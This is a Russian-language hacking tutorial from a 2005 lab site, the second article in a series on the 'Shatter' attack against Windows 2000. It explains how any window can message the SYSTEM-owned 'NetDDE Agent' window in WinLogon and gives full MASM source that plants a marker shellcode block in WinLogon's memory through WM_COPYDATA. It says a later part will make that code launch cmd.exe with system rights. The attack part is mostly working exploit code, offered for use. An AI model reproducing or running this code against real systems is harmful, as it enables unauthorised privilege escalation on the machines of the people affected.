Welcome to The Passion Of Code Laboratory!!!Статьи

Атаки на переполнение.
2. Как приобрести права системы.

Автор:_follower / TPOC

Постановка задачи

Как говорить сейчас многие MS Windows - это сплошное недоразумение. Конечно, не наше дело поддерживать эти беседы, НО!( … так начинал свой монолог известный сатирик ). Как говорится : “Нет дыма без огня”. Подтверждением тому может послужить один из видов локальной атаки на повышение привилегий пользователя  - так называемая атака класса Shatter. В сети уже достаточно много информации об этого вида атаке. Этот вид атак до сих пор не подавлен никаким MS-обновлением. Мы приведем простейший пример реализации такой атаки.
Итак к делу. Цель: “ Завести в OC Windows 2000 дополнительного пользователя Vasya ю , сделать Васю привилегированным пользователем.”

Немного теоретического материала собранного во всех углах “необъятной сети”

В рамках ОС Windows приложения и системные компоненты ОС обмениваются данными между собой. Делают он это с помощью сообщений системы. В старом и неприменно добром, DOS мы в приложении устраивали циклы по ожиданию нажатия клавиши, анализировали состояние буфера клавиатуры, конвертировали scan коды, разбирая их побитно. Все это не нужно современному приложению. Настало время Windows system messages, обработкой которых занята оконная процедура важнейший атрибут любого оконного приложения.

Система генерирует сообщения по поводу практически любого движения приложения и пользователя. Изменения в реестре, изменение размеров окна, нажатие на клавишу, изменение раскладки клавиатура и т.д. , ничего не проходит без отсылки сообщения. Очень удобно общаться приложениям между собой с помощью системных сообщений. С помощью системных сообщений можно передавать даже массивы данных. По праву сообщения это новый, достойный восхищения, шаг в эволюции ОС Windows . НО! Всюду эти НО :)

Разрабатывая этот механизм взаимодействия напрочь позабыли о правах приложений на общение с системными службами. Любое окно может отослать ЛЮБОМУ окну своё сообщение. Скажем применительно к нашей цели любое приложение может поместить в адресное пространство ЛЮБОГО приложения некоторые данные, с помощью сообщений.
На этом и строится весь этот Shattering.

Многострадальное “NetDDE Agent”

При старте сервиса “NetWork DDE DSDM” процесс WinLogon создает невидимое окно “NetDDE Agent” для межпроцессорного обмена информацией между другими компонентами NetDDE. Процесс WinLogon исполняется от имени пользователя с правами SYSTEM. Одно из сообщений, которое обрабатывается этим окном “ WM_COPYDATA”, использующееся для передачи от одного процесса другому блоков памяти.Итак, наша атака будет проводиться именно путем воздействия на окно “NetDDE Agent”.

Сообщения в системе Windows

Сообщения в системе Windows очень сильны и разнообразны. Например приложение может послать сообщение на завершение другого приложения, и приложение-жертва такого обращения  “… послушно сердце выключает-т-т”( кажется у Земфиры именно так :)). Элементу окна также можно отослать сообщение. Например, принудить пересортировать элемент “таблица” чужого окна. Вероятно, такие широкие возможности побудят Вас пересмотреть дополнительный материал о системе сообщений  Windows.
 

Некоторые сообщения содержат адрес процедуры на которую будет передано управление:

LRESULT SendMessage(
HWND hWnd, // дескриптор окна, которому посылается сообщение
UINT Msg, // тип сообщения ( мы будем использовать WM_TIMER )
WPARAM wParam, // через сколько миллисекунд запустить процедуры
LPARAM lParam // адрес начала запускаемой процедуры
);

Итак указав, например, в качестве hWnd, дескриптор чужого окна, Вы получаете возможность исполнить содержащуюся в нем функцию, расположенную в чужом адресном пространстве по адресу с  lParam.
 

Наша цель запуск процесса с правами системы (скорее всего, этим процессом будет cmd.exe). Поэтому этот процесс должен запустить тот, у кого такие права уже есть. Иными словами - необходимо заставить системный процесс запустить наш код. Надо найти способ добавить в него такую процедуру и потом уже вызывать ее при помощи сообщения WM_TIMER.

Транспортный вопрос

Решим вопрос передачи данных. Один из самых простых путей передачи данных из одного экземпляра приложения в другое - это использование сообщения WM_COPYDATA . Это сообщение специально создано для того, чтобы позволить одному приложению отправлять данные другому приложению. Когда вы отправляете сообщение WM_COPYDATA, вы передаете дескриптор окна, отправляющего сообщение, в значении параметра WPARAM и указатель на структуру COPYDATASTRUCT в значении параметра LPARAM. Структура COPYDATASTRUCT - простая структура:

typedef struct tagCOPYDATASTRUCT { // cds
DWORD dwData;
DWORD cbData;
PVOID lpData;
} COPYDATASTRUCT;


Значение члена dwData может быть использовано, если вы просто передаете 32 бита данных во второй экземпляр. Если вам нужно передать блок памяти во второй экземпляр - вы устанавливаете значение члена cbData в размер передаваемого блока, а значение члена lpData - в начальный адрес блока памяти.

Windows будет гарантировать, что данные, отправляемые в структуре COPYDATASTRUCT, будут существовать, пока сообщение WM_COPYDATA не будет обработано. Вы должны использовать функцию SendMessage() для отправки сообщения WM_COPYDATA . Вы не можете использовать PostMessage().

Итак, первые попытки кода

Основательно вооружившись теоретическими “вырезками”, приступимc-c. Рассмотрим код программы, которая помещает в адресное пространство системного процесса свои данные с помощью сообщений.

;--------1.asm
.386
.model flat, stdcall
option casemap: none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\masm32.inc
includelib \masm32\lib\masm32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\msvcrt.lib


memcpy proto c:DWORD,:DWORD,:DWORD
memset proto c:DWORD,:DWORD,:DWORD
malloc proto c:DWORD

.data
szFormat DB " = 0x%08lX",13,10,0
szFormat_Error_SendM DB "SendMessage GetLastError() = %d",0
szFormat_Error_PostM DB "PostMessage GetLastError() = %d",0

szInfoLine_1 db " Дискриптор окна равен",0
szSendMessage_OK db " SendMessage() - выполнен успешно.",13,10,0
szError_FindWindow DB "Окно не найдено, проверьте пераметры FindWindow()",13,10,0
lf db 0,13,10

;структура для передачи данных по сообщению WM_COPYDATA
copy_data COPYDATASTRUCT <>

hWnd DD 0
hMemory DD 0
pMemory DD 0
szClassName db "NDDEAgnt", 0
szWindowName db "NetDDE Agent", 0
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
_shell_code db 8Bh, 0F4h ; mov ESI,ESP
db 90h,6Ah, 00h,90h,6Ah, 00h,90h
db 90h,6Ah, 00h,90h,6Ah, 00h,90h
db 90h,6Ah, 00h,90h,6Ah, 00h,90h
db 90h,6Ah, 00h,90h,6Ah, 00h,90h
db 90h,6Ah, 00h,90h,6Ah, 00h,90h
mov ESP,ESI ; db 8Bh, 0E6h
ret ; db 0C3h
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
len_ EQU $ - _shell_code

.data?
clBuffer DB ?
cyrBuffer DB ?

;----------------------------------------------
.code
start:

invoke malloc,1000
mov pMemory,eax

invoke memset, pMemory, 90h, 1000
invoke memcpy, pMemory, OFFSET _shell_code, len_

mov copy_data.dwData,0
mov copy_data.cbData,1000
mov EAX, pMemory
mov copy_data.lpData,EAX

invoke FindWindow,ADDR szClassName, ADDR szWindowName
mov hWnd,EAX
.if eax==0

invoke StdOut,ADDR lf
invoke CharToOem, ADDR szError_FindWindow,ADDR cyrBuffer
invoke StdOut,ADDR cyrBuffer
invoke StdOut,ADDR lf
.else

invoke StdOut,ADDR lf
invoke StdOut,ADDR lf
invoke CharToOem, ADDR szInfoLine_1,ADDR cyrBuffer
invoke StdOut,ADDR cyrBuffer

INVOKE wsprintf,OFFSET clBuffer,OFFSET szFormat,hWnd
invoke StdOut,ADDR clBuffer
invoke StdOut,ADDR lf
.endif


invoke SendMessage, hWnd, WM_COPYDATA ,DWORD PTR hWnd ,OFFSET copy_data
invoke GetLastError
.IF EAX !=0
INVOKE wsprintf,OFFSET clBuffer,OFFSET szFormat_Error_SendM,EAX
invoke StdOut,ADDR clBuffer
.ELSE
invoke CharToOem, ADDR szSendMessage_OK,ADDR cyrBuffer
invoke StdOut,ADDR cyrBuffer
invoke StdOut,ADDR lf
.ENDIF

invoke Sleep,1000
invoke ExitProcess,0
;----------------------------------------------
end start

Рассмотрим важные пункты.

1)

_shell_code db 8Bh, 0F4h ; mov ESI,ESP

db 90h,6Ah, 00h,90h,6Ah, 00h,90h
db 90h,6Ah, 00h,90h,6Ah, 00h,90h
db 90h,6Ah, 00h,90h,6Ah, 00h,90h
db 90h,6Ah, 00h,90h,6Ah, 00h,90h
db 90h,6Ah, 00h,90h,6Ah, 00h,90h
mov ESP,ESI ; db 8Bh, 0E6h
ret ; db 0C3h

Ну это и будет, как бы наш shell код. Да Вы абсолютно правы, он полностью безсмысленен. Однако такая глупая, последовательность, не имея в себе ничего полезного кроме уникальности  (как это звучит “ ничего полезного кроме уникальности”) послужит нам хорошую службу. Просто напросто эту последовательность нам нужно найти в памяти процесса WinLogon.

2)

invoke FindWindow,ADDR szClassName, ADDR szWindowName
mov hWnd,EAX

Получаем дескриптор окна. Эти параметры окон очень удобно получать, пользуясь утилитой SPY++ из пакета Microsoft Visual C++ v.6.0.

Image1

Рассмотрим параметры функции FindWindow():

HWND FindWindow(
  LPCTSTR lpClassName, // указатель на строку класса класса
  LPCTSTR lpWindowName // указатель на строку с именем окна
);

С помощью программы SPY++    легко получаем имя окна …

Image2

… и класс интересного нам окна.

Image3

Теперь у нас есть все чтобы получить дескриптор нужного окна.
 

3)

invoke SendMessage, hWnd, WM_COPYDATA ,DWORD PTR hWnd ,OFFSET copy_data

“Ну и что, - скажете Вы, где же обещанные привилегии?” Да ,пока окошка cmd нет. Но откройте WinHex, в нем просмотр процессов в памяти. Выбирайте WinLogon и произведите поиск в памяти процесса последовательности - 8BF4906A00, так начинается наш “недоделанный” shell-код.
По адресу 0x0080FA78h Вы непременно обнаружите ( конечно если у Вас Windows 2000SP4, как у маня) начало shell-кода.

Image4

Ну это ли не победа !
Ну, пока на этом и остановимся. Не рискуя перегружать уважаемого читателя, просто скажем, что в следующей статье мы напишем shell-код который выполняется полностью в стеке и вызывает таки нашу cmd.exe.  А пока - до свиданья.  :)    
 

Перечень используемого программного обеспечения :

[2.1] - WinHex 11.6  (http://www.winhex.com/)
[2.2] Microsoft SPY++ из пакета утилит Microsoft Visual C++ v.6.0

 

[C] _follower / TPOC

Наши новости

Новые события из жизни нашей лаборатории

Статьи

Статьи и переводы лаборатории TPOC

Программы

Программы лаборатории TPOC

Релизы

Здесь мы сообщаем Вам, какие творения скоро появятся

Ссылки

Ссылки на сайты, где можно найти больше информации

Наша лаборатория

История нашей лаборатории и ее члены

Дата последнего обновления: 4 августа 2005 года
У вас есть предложения по нашему сайту?
Напишите сюда
Любимые сайты вирмейкеров:
(WASM)   (RSDN)